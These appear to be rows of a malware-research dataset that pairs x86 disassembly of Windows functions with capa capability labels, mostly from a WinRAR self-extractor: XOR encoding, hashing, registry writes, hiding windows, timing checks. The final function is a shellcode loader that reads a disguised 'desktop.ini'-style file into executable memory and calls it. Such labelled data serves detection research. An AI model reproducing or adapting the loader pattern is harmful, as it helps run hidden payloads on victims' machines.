joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40c01b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push ebx
push esi
push edi
push 0x20
push dword [ebp + 8]
mov edi, ecx
mov ebx, dword [edi + 4]
lea eax, [ebp - 0x38]
push eax
mov dword [ebp - 4], edi
sub ebx, 6
call fcn.0041b7c0
xor eax, eax
add esp, 0xc
xor edx, edx
cmp ebx, eax
mov dword [ebp + 8], eax
jle 0x40c08b
cmp edx, dword [edi + 4]
jg 0x40c1d9
cmp eax, ebx
jge 0x40c07c
lea ecx, [ebp + eax*4 - 0x38]
mov esi, dword [ebp + 8]
cmp esi, 4
jge 0x40c07c
lea esi, [esi + edx*4]
lea edi, [edi + esi*4 + 0x18]
mov esi, ecx
inc eax
add ecx, 4
inc dword [ebp + 8]
cmp eax, ebx
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 4]
jl 0x40c05c
cmp dword [ebp + 8], 4
jne 0x40c087
inc edx
and dword [ebp + 8], 0
cmp eax, ebx
jl 0x40c04b
cmp edx, dword [edi + 4]
jg 0x40c1d9
mov eax, ebx
shl eax, 2
lea ecx, [ebp + eax - 0x3b]
mov dword [ebp - 0xc], ecx
lea ecx, [ebp + eax - 0x3a]
mov dword [ebp - 0x10], ecx
lea ecx, [ebp + eax - 0x39]
lea eax, [ebp + eax - 0x3c]
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], eax
mov dword [ebp - 8], 0x437aa0
mov eax, dword [ebp - 0xc]
movzx ecx, byte [eax]
mov al, byte [ebp - 0x38]
xor al, byte [ecx + 0x437bc0]
mov ecx, dword [ebp - 0x10]
mov byte [ebp - 0x38], al
movzx ecx, byte [ecx]
mov cl, byte [ecx + 0x437bc0]
xor byte [ebp - 0x37], cl
mov ecx, dword [ebp - 0x14]
movzx ecx, byte [ecx]
mov cl, byte [ecx + 0x437bc0]
xor byte [ebp - 0x36], cl
mov ecx, dword [ebp - 0x18]
movzx ecx, byte [ecx]
mov cl, byte [ecx + 0x437bc0]
xor byte [ebp - 0x35], cl
mov ecx, dword [ebp - 8]
xor al, byte [ecx]
inc dword [ebp - 8]
mov byte [ebp - 0x38], al
cmp ebx, 8
je 0x40c12d
cmp ebx, 1
jle 0x40c18e
lea ecx, [ebp - 0x34]
lea edi, [ebx - 1]
xor esi, esi
mov al, byte [ecx + esi - 4]
xor byte [ecx + esi], al
inc esi
cmp esi, 4
jl 0x40c118
add ecx, 4
dec edi
jne 0x40c116
jmp 0x40c18b
push 3
lea ecx, [ebp - 0x34]
pop edi
push 4
pop esi
mov al, byte [ecx - 4]
xor byte [ecx], al
inc ecx
dec esi
jne 0x40c136
dec edi
jne 0x40c133
movzx eax, byte [ebp - 0x2c]
mov al, byte [eax + 0x437bc0]
xor byte [ebp - 0x28], al
movzx eax, byte [ebp - 0x2b]
mov al, byte [eax + 0x437bc0]
xor byte [ebp - 0x27], al
movzx eax, byte [ebp - 0x2a]
mov al, byte [eax + 0x437bc0]
xor byte [ebp - 0x26], al
movzx eax, byte [ebp - 0x29]
mov al, byte [eax + 0x437bc0]
xor byte [ebp - 0x25], al
push 3
lea ecx, [ebp - 0x24]
pop edi
push 4
pop esi
mov al, byte [ecx - 4]
xor byte [ecx], al
inc ecx
dec esi
jne 0x40c17f
dec edi
jne 0x40c17c
mov edi, dword [ebp - 4]
xor ecx, ecx
test ebx, ebx
jle 0x40c1d0
cmp edx, dword [edi + 4]
jg 0x40c1d9
cmp ecx, ebx
jge 0x40c1c1
lea eax, [ebp + ecx*4 - 0x38]
mov esi, dword [ebp + 8]
cmp esi, 4
jge 0x40c1c1
lea esi, [esi + edx*4]
lea edi, [edi + esi*4 + 0x18]
mov esi, eax
inc ecx
add eax, 4
inc dword [ebp + 8]
cmp ecx, ebx
movsd dword es:[edi], dword [esi]
mov edi, dword [ebp - 4]
jl 0x40c1a1
cmp dword [ebp + 8], 4
jne 0x40c1cc
inc edx
and dword [ebp + 8], 0
cmp ecx, ebx
jl 0x40c194
cmp edx, dword [edi + 4]
jle 0x40c0bc
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40c1e0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
xor eax, eax
push edi
inc eax
mov edi, ecx
cmp dword [edi + 4], eax
mov dword [ebp - 8], eax
jle 0x40c26f
lea eax, [edi + 0x28]
push ebx
mov dword [ebp - 4], eax
push esi
xor eax, eax
mov ecx, dword [ebp - 4]
lea esi, [ebp + eax - 0x1c]
add ecx, 2
mov dword [ebp - 0xc], 4
movzx edx, byte [ecx + 1]
movzx ebx, byte [ecx - 1]
mov dl, byte [eax + edx*4 + 0x434aa0]
xor dl, byte [eax + ebx*4 + 0x4352a0]
movzx ebx, byte [ecx - 2]
xor dl, byte [eax + ebx*4 + 0x4356a0]
movzx ebx, byte [ecx]
xor dl, byte [eax + ebx*4 + 0x434ea0]
add ecx, 4
mov byte [esi], dl
add esi, 4
dec dword [ebp - 0xc]
jne 0x40c20f
inc eax
cmp eax, 4
jl 0x40c1fe
push 0x10
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 4]
call fcn.0041b7c0
add dword [ebp - 4], 0x10
add esp, 0xc
inc dword [ebp - 8]
mov eax, dword [ebp - 8]
cmp eax, dword [edi + 4]
jl 0x40c1fc
pop esi
pop ebx
pop edi
leave
ret
Function at 0x40ca11
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
push esi
cmp dword [0x437cc8], ebx
jne 0x40ca2a
mov ecx, 0x437cc0
call fcn.0040c9d2
mov esi, dword [ebp + 0xc]
mov ecx, esi
and ecx, 0xf
mov eax, esi
sub eax, ecx
cmp byte [ebp + 0x10], bl
je 0x40ca74
mov ecx, dword [0x437cc8]
cmp ecx, ebx
je 0x40ca90
push ebx
push eax
push dword [ebp + 8]
call ecx
test eax, eax
jne 0x40cab1
push str.CryptProtectMemory_failed
mov esi, 0x432a6c
push esi
call fcn.004061aa
pop ecx
pop ecx
mov ecx, esi
call fcn.00401000
push 2
mov ecx, esi
call fcn.00406127
jmp 0x40cab1
mov ecx, dword [0x437ccc]
cmp ecx, ebx
je 0x40ca90
push ebx
push eax
push dword [ebp + 8]
call ecx
test eax, eax
jne 0x40cab1
push str.CryptUnprotectMemory_failed
jmp 0x40ca55
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor ecx, ecx
cmp esi, ebx
jbe 0x40cab1
mov dl, al
add dl, 0x4b
mov eax, dword [ebp + 8]
add eax, ecx
mov bl, dl
add bl, cl
xor byte [eax], bl
inc ecx
cmp ecx, esi
jb 0x40caa1
pop esi
pop ebx
pop ebp
ret 0xc

Function at 0x40cc56
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
cmp dword [0x42f0dc], 0
push ebx
push esi
push edi
mov edi, 0x400
jne 0x40cca1
push 0x64
lea eax, [ebp - 0x12c]
push eax
push 0xf
push edi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
mov ax, word [ebp - 0x12c]
mov word [0x44c3e4], ax
xor eax, eax
mov word [0x44c3e6], ax
mov dword [0x42f0dc], 0x44c3e4
lea eax, [ebp - 0x64]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call fcn.0041051a
mov ebx, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
push ebx
push esi
xor eax, eax
push 0x42f0cc
mov word [esi], ax
lea eax, [ebp - 0x64]
push eax
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
xor eax, eax
pop edi
mov word [esi + ebx*2 - 2], ax
pop esi
pop ebx
leave
ret 0x10
Function at 0x40cd97
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
push ebx
push esi
push edi
push 0x68
push dword [0x440d00]
call dword [sym.imp.USER32.dll_GetDlgItem]
cmp byte [0x440d04], 0
mov esi, dword [sym.imp.USER32.dll_SendMessageW]
mov edi, eax
mov dword [ebp - 4], edi
mov ebx, 0xb1
jne 0x40cdf9
mov ecx, dword [0x437cd4]
call fcn.00418733
push 5
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push 0xffffffffffffffff
push 0
push ebx
push edi
call esi
push 0x42a54c
push 0
push 0xc2
push edi
call esi
mov byte [0x440d04], 1
mov edi, 0x5f5e100
push edi
push edi
push ebx
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x60]
push eax
push 0
push 0x43a
push dword [ebp - 4]
mov dword [ebp - 0x60], 0x5c
call esi
xor eax, eax
inc eax
cmp byte [ebp + 8], 0
mov byte [ebp - 0x47], 0
mov dword [ebp - 0x5c], eax
je 0x40ce49
mov ecx, dword [ebp - 0x58]
and ecx, 0xbfffffff
or ecx, eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x4c], 0xa0
mov dword [ebp - 0x5c], 0x40000001
lea ecx, [ebp - 0x60]
push ecx
push eax
push 0x444
push dword [ebp - 4]
call esi
push dword [ebp + 0xc]
push 0
push 0xc2
push dword [ebp - 4]
call esi
push edi
push edi
push ebx
push dword [ebp - 4]
call esi
cmp byte [ebp + 8], 0
je 0x40ce93
mov eax, dword [ebp - 0x58]
and eax, 0xfffffffe
or eax, 0x40000000
mov dword [ebp - 0x58], eax
lea eax, [ebp - 0x60]
push eax
push 1
push 0x444
push dword [ebp - 4]
call esi
push 0x42a7e8
push 0
push 0xc2
push dword [ebp - 4]
call esi
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x40d173
Capabilities:
Query environment variable

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2000
call fcn.0041a020
push ebx
mov ebx, ecx
push edi
mov edi, dword [ebp + 8]
test ebx, ebx
je 0x40d18e
mov byte [ebx], 0
mov eax, dword [ebp + 0x10]
test eax, eax
je 0x40d198
mov byte [eax], 0
test edi, edi
je 0x40d241
movzx eax, word [edi]
test ax, ax
je 0x40d241
push esi
xor esi, esi
xor ecx, ecx
movzx eax, ax
inc edi
inc edi
cmp ax, 0x3d
jne 0x40d1d1
cmp dword [ebp + 0xc], 0
je 0x40d1dd
test esi, esi
jne 0x40d1dd
test ebx, ebx
je 0x40d1cd
mov byte [ebx], 1
mov esi, edx
jmp 0x40d1ec
cmp ax, 0xd
je 0x40d1ff
cmp ax, 0xa
je 0x40d201
mov word [edx], ax
mov eax, dword [ebp + 0x14]
inc edx
add eax, 0xfffffffe
inc edx
cmp ecx, eax
jge 0x40d1f7
movzx eax, word [edi]
inc ecx
test ax, ax
jne 0x40d1b1
jmp 0x40d201
mov eax, dword [ebp + 0x10]
mov byte [eax], 1
jmp 0x40d201
inc edi
inc edi
mov ebx, dword [ebp + 0xc]
xor eax, eax
mov word [edx], ax
test ebx, ebx
je 0x40d23c
mov word [ebx], ax
test esi, esi
je 0x40d23c
push 0x1000
lea eax, [ebp - 0x2000]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
push dword [ebp + 0x14]
lea eax, [ebp - 0x2000]
push eax
push ebx
call fcn.004104be
xor eax, eax
mov word [esi], ax
mov eax, edi
pop esi
jmp 0x40d243
xor eax, eax
pop edi
pop ebx
leave
ret 0x10
Function at 0x40d288
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1020
call fcn.0041a020
push 0x800
lea eax, [ebp - 0x1020]
push eax
call fcn.004191dc
cmp byte [0x440d05], 0
jne 0x40d31d
push 6
push dword [0x42f0c8]
lea eax, [ebp - 0x1020]
push eax
call fcn.00409f74
push eax
call fcn.0041172f
test eax, eax
jne 0x40d31d
push 0x42a638
call fcn.004191c9
lea eax, [ebp - 0x1020]
push eax
call fcn.00419ce3
xor ecx, ecx
push 0x1e
mov word [ebp + eax*2 - 0x101e], cx
push ecx
lea eax, [ebp - 0x20]
push eax
call fcn.00419d50
add esp, 0x10
push 0x14
pop eax
mov word [ebp - 0x10], ax
lea eax, [ebp - 0x1020]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0x1c], 3
call dword [sym.imp.SHELL32.dll_SHFileOperationW]
leave
ret

Function at 0x40d47e
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1008
call fcn.0041a020
push ebx
xor ebx, ebx
cmp byte [0x440d38], bl
je 0x40d503
cmp word [0x437cd8], bx
je 0x40d503
push esi
push 0x437cd8
lea esi, [ebp - 0x1008]
call fcn.0040d441
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 4]
push eax
push ebx
push 0x20006
push ebx
push ebx
push ebx
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
pop esi
test eax, eax
jne 0x40d503
push dword [ebp + 8]
call fcn.00419ce3
pop ecx
lea eax, [eax + eax + 2]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x1008]
push 1
push ebx
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop ebx
leave
ret 4

Function at 0x40d508
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x200c
call fcn.0041a020
cmp byte [0x440d38], 0
je 0x40d5af
push esi
push dword [ebp + 8]
lea esi, [ebp - 0x200c]
call fcn.0040d441
lea eax, [ebp - 8]
push eax
push 1
push 0
push str.SoftwareWinRAR_SFX
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
pop esi
test eax, eax
jne 0x40d5af
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x100c]
push eax
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x200c]
push eax
push dword [ebp - 8]
mov dword [ebp - 4], 0x1000
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d5a6
shr dword [ebp - 4], 1
mov eax, 0x7ff
cmp dword [ebp - 4], eax
jae 0x40d58a
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
xor ecx, ecx
mov word [ebp + eax*2 - 0x100c], cx
lea eax, [ebp - 0x100c]
push eax
push dword [ebp + 8]
call fcn.004104be
push dword [ebp - 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
leave
ret 8
Function at 0x40fdfa
Capabilities:
Hash data using sha1

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x18], 0
and dword [eax + 0x14], 0
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
mov dword [eax + 0x10], 0xc3d2e1f0
ret 4

Function at 0x40ffd0
Capabilities:
Hash data using sha256

Disassembly:
mov eax, dword [esp + 4]
and dword [eax + 0x20], 0
and dword [eax + 0x24], 0
mov dword [eax], 0x6a09e667
mov dword [eax + 4], 0xbb67ae85
mov dword [eax + 8], 0x3c6ef372
mov dword [eax + 0xc], 0xa54ff53a
mov dword [eax + 0x10], 0x510e527f
mov dword [eax + 0x14], 0x9b05688c
mov dword [eax + 0x18], 0x1f83d9ab
mov dword [eax + 0x1c], 0x5be0cd19
ret 4
Function at 0x410b33
Capabilities:
Create thread

Disassembly:
push ecx
push ebp
push esi
mov esi, ecx
xor ebp, ebp
cmp dword [esi], ebp
jbe 0x410bae
push ebx
push edi
lea edi, [esi + 4]
lea eax, [esp + 0x10]
push eax
push 0
push esi
push 0x410ad5
push 0x10000
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov ebx, eax
test ebx, ebx
jne 0x410b8a
push str.CreateThread_failed
push 0x432a6c
call fcn.004061aa
pop ecx
pop ecx
mov ecx, 0x432a6c
call fcn.00401000
push 2
mov ecx, 0x432a6c
call fcn.00406127
mov dword [edi], ebx
inc dword [esi + 0x84]
mov eax, dword [0x44ea4c]
test eax, eax
je 0x410ba4
push eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_SetThreadPriority]
inc ebp
add edi, 4
cmp ebp, dword [esi]
jb 0x410b43
pop edi
pop ebx
pop esi
pop ebp
pop ecx
ret

Function at 0x416f1a
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x429028
call fcn.00419a10
push ecx
push ebx
push esi
mov esi, ecx
push 1
lea ecx, [esi + 4]
mov dword [ebp - 0x10], esi
call fcn.004092c7
xor ebx, ebx
mov dword [ebp - 4], ebx
mov dword [esi + 0x24], ebx
mov dword [esi + 0x28], ebx
mov dword [esi + 0x2c], ebx
mov dword [esi + 0x30], ebx
mov dword [esi + 0x34], ebx
mov dword [esi + 0x38], ebx
mov dword [esi + 0x3c], ebx
mov dword [esi + 0x40], ebx
mov dword [esi + 0x44], ebx
mov dword [esi + 0x48], ebx
mov dword [esi + 0x4c], ebx
mov dword [esi + 0x50], ebx
lea ecx, [esi + 0x4b38]
call fcn.00411d9d
lea ecx, [esi + 0x98d0]
call fcn.004127a8
lea ecx, [esi + 0xe65c]
mov byte [ebp - 4], 5
call fcn.0040a687
push 1
lea ecx, [esi + 0xe694]
mov byte [ebp - 4], 6
call fcn.004092c7
lea eax, [esi + 0xe6a4]
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
lea eax, [esi + 0xe6b4]
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
lea eax, [esi + 0xe6c4]
mov dword [eax], ebx
mov dword [eax + 4], ebx
mov dword [eax + 8], ebx
mov dword [eax + 0xc], ebx
mov eax, dword [ebp + 8]
mov byte [ebp - 4], 0xa
mov dword [esi], eax
mov dword [esi + 0x4b34], ebx
mov byte [esi + 0x4c38], bl
mov byte [esi + 0x4c48], bl
mov byte [esi + 0x4c49], bl
mov byte [esi + 0x4c4a], bl
mov dword [esi + 0x1c], 1
call fcn.004109ac
push ebx
mov ecx, esi
mov dword [esi + 0x14], eax
mov dword [esi + 0x20], ebx
mov dword [esi + 0x18], ebx
mov dword [esi + 0xe6d8], ebx
mov dword [esi + 0xe6dc], ebx
call fcn.00415077
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret 4
Function at 0x41874a
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push esi
push edi
xor edi, edi
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
call ebx
mov esi, dword [ebp + 8]
mov dword [ebp - 0xc], eax
mov eax, dword [esi]
lea ecx, [ebp - 4]
push ecx
push esi
call dword [eax + 0x48]
test eax, eax
jl 0x41877c
cmp dword [ebp - 4], edi
jne 0x4187bd
call ebx
sub eax, dword [ebp - 0xc]
cmp eax, 0x2710
ja 0x4187bd
push edi
push edi
push edi
push edi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_PeekMessageW]
test eax, eax
je 0x418769
push edi
push edi
push edi
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_GetMessageW]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_TranslateMessage]
lea eax, [ebp - 0x28]
push eax
call dword [sym.imp.USER32.dll_DispatchMessageW]
jmp 0x418769
mov eax, dword [esi]
lea ecx, [ebp - 4]
push ecx
push esi
call dword [eax + 0x48]
mov esi, eax
cmp esi, edi
jl 0x418813
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x42b0b0
push eax
call dword [ecx]
mov esi, eax
cmp esi, edi
jl 0x41880a
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x20]
mov esi, eax
cmp esi, edi
jl 0x418801
mov eax, dword [ebp - 8]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x14]
mov esi, eax
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
xor eax, eax
cmp esi, edi
pop edi
pop esi
setge al
pop ebx
leave
ret 8
Function at 0x418fde
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 0x18]
sub esp, 0x10
push ebx
push esi
push edi
push 0
push dword [ebp + 0xc]
mov esi, ecx
mov byte [esi + 0x21], al
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [ebp + 8]
mov ecx, esi
call fcn.00418f77
mov eax, dword [ebp + 0x10]
mov dword [esi + 0x10], eax
mov eax, dword [ebp + 0x14]
mov dword [esi + 0x14], eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowRect]
mov ebx, dword [sym.imp.USER32.dll_GetParent]
push 2
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 0xc]
call ebx
push eax
push 0
call dword [sym.imp.USER32.dll_MapWindowPoints]
mov eax, dword [esi + 4]
test eax, eax
je 0x419045
push eax
call dword [sym.imp.USER32.dll_DestroyWindow]
mov eax, dword [ebp - 0x10]
mov edi, dword [ebp - 8]
push esi
push dword [esi]
sub edi, eax
push 0
push dword [ebp + 0xc]
lea ecx, [eax + 1]
dec edi
mov dword [ebp + 0x18], ecx
dec edi
call ebx
push eax
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 0xc]
push eax
push edi
push dword [ebp - 0xc]
xor edi, edi
push dword [ebp + 0x18]
push 0x40000000
push edi
push str.RarHtmlClassName
push edi
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov dword [esi + 4], eax
cmp dword [esi + 0xc], edi
jne 0x4190c7
cmp dword [ebp + 0xc], edi
je 0x4190ea
cmp dword [esi + 0x14], edi
jne 0x4190ea
mov eax, dword [esi + 0x10]
cmp eax, edi
je 0x4190ea
push eax
mov ecx, esi
call fcn.00418c45
mov esi, eax
cmp esi, edi
je 0x4190ea
push 5
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
push dword [ebp + 0xc]
call dword [sym.imp.USER32.dll_SetWindowTextW]
push esi
call fcn.00419a3a
pop ecx
jmp 0x4190ea
cmp eax, edi
je 0x4190dd
push 5
push eax
call dword [sym.imp.USER32.dll_ShowWindow]
push dword [esi + 4]
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [esi + 0x1c], 0x64
jbe 0x4190ea
mov ecx, esi
call fcn.0041894f
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x4190f1
Capabilities:
Create shortcut via ishelllink

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
lea eax, [ebp - 4]
push eax
push 0x42b0a0
push 1
xor ebx, ebx
push ebx
push 0x42b150
call dword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
jl 0x4191c2
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
lea edx, [ebp - 8]
push edx
push 0x42b140
push eax
call dword [ecx]
test eax, eax
jl 0x4191b9
cmp byte [ebp + 8], bl
je 0x419144
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 2
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x14]
mov eax, dword [ebp - 4]
push dword [ebp + 0xc]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x50]
cmp dword [ebp + 0x18], ebx
je 0x419161
mov eax, dword [ebp - 4]
push dword [ebp + 0x18]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x1c]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push ebx
cmp dword [ebp + 0x1c], ebx
jne 0x419173
push 0x42a54c
jmp 0x419176
push dword [ebp + 0x1c]
push eax
call dword [ecx + 0x44]
cmp dword [ebp + 0x20], ebx
je 0x41918b
mov eax, dword [ebp - 4]
push dword [ebp + 0x20]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x2c]
cmp dword [ebp + 0x14], ebx
je 0x41919c
mov eax, dword [ebp - 4]
push dword [ebp + 0x14]
mov ecx, dword [eax]
push eax
call dword [ecx + 0x24]
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push 1
push dword [ebp + 0x10]
push eax
call dword [ecx + 0x18]
test eax, eax
jl 0x4191b0
mov bl, 1
mov eax, dword [ebp - 8]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 4]
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov al, bl
pop ebx
leave
ret 0x1c

Function at 0x4191dc
Capabilities:
Get common file path

Disassembly:
push dword [esp + 4]
push dword [esp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
neg eax
sbb eax, eax
neg eax
ret 8

Function at 0x41dd1e
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f298]
jne 0x41dd28
repz ret
jmp fcn.0042359a
Function at 0x424e25
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0041dd9f
and dword [ebp - 4], 0
cmp dword [0x44f6b0], 0
mov ebx, eax
jne 0x424ed6
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x424f87
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x424f87
push eax
call fcn.0041dd2d
mov dword [esp], str.GetActiveWindow
push edi
mov dword [0x44f6b0], eax
call esi
push eax
call fcn.0041dd2d
mov dword [esp], str.GetLastActivePopup
push edi
mov dword [0x44f6b4], eax
call esi
push eax
call fcn.0041dd2d
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x44f6b8], eax
call esi
push eax
call fcn.0041dd2d
pop ecx
mov dword [0x44f6c0], eax
test eax, eax
je 0x424ed6
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0041dd2d
pop ecx
mov dword [0x44f6bc], eax
mov eax, dword [0x44f6bc]
cmp eax, ebx
je 0x424f2e
cmp dword [0x44f6c0], ebx
je 0x424f2e
push eax
call fcn.0041dda8
push dword [0x44f6c0]
mov esi, eax
call fcn.0041dda8
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x424f2e
test edi, edi
je 0x424f2e
call esi
test eax, eax
je 0x424f25
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x424f25
test byte [ebp - 0xc], 1
jne 0x424f2e
or dword [ebp + 0x10], 0x200000
jmp 0x424f67
mov eax, dword [0x44f6b4]
cmp eax, ebx
je 0x424f67
push eax
call fcn.0041dda8
pop ecx
test eax, eax
je 0x424f67
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x424f67
mov eax, dword [0x44f6b8]
cmp eax, ebx
je 0x424f67
push eax
call fcn.0041dda8
pop ecx
test eax, eax
je 0x424f67
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x44f6b0]
call fcn.0041dda8
pop ecx
test eax, eax
je 0x424f87
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x424f89
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Create process on windows
Execute shellcode via indirect call
Read file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push 1
xor ebx, ebx
push ebx
xor eax, eax
push ebx
mov word [0x1000302e], ax
push 0x10002034
lea eax, [ebp - 8]
push eax
push ebx
mov dword [ebp - 8], 0x6e65706f
mov byte [ebp - 4], bl
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
push ebx
push ebx
push ebx
push str.ttttttt
push str.ttttt
push ebx
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
xor eax, eax
mov word [0x1000302e], ax
movzx ecx, word [eax + str.desk]
mov word [eax + 0x10003028], cx
add eax, 2
cmp cx, bx
jne 0x10001198
push esi
push edi
push 0x40
mov eax, 0x1000
push eax
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x10003018], eax
mov eax, 0x10003028
lea edi, [eax - 2]
mov cx, word [edi + 2]
add edi, 2
cmp cx, bx
jne 0x100011cd
push ebx
mov esi, str.top.ini
movsd dword es:[edi], dword [esi]
push 0x80
push 3
movsd dword es:[edi], dword [esi]
push ebx
push 1
movsd dword es:[edi], dword [esi]
push 0x80000000
push eax
movsd dword es:[edi], dword [esi]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
pop edi
mov dword [0x1000301c], eax
pop esi
cmp eax, 0xffffffff
je 0x10001223
push ebx
push 0x10003020
push 0x1000
push dword [0x10003018]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
call dword [0x10003018]
pop ebx
leave
ret 0x10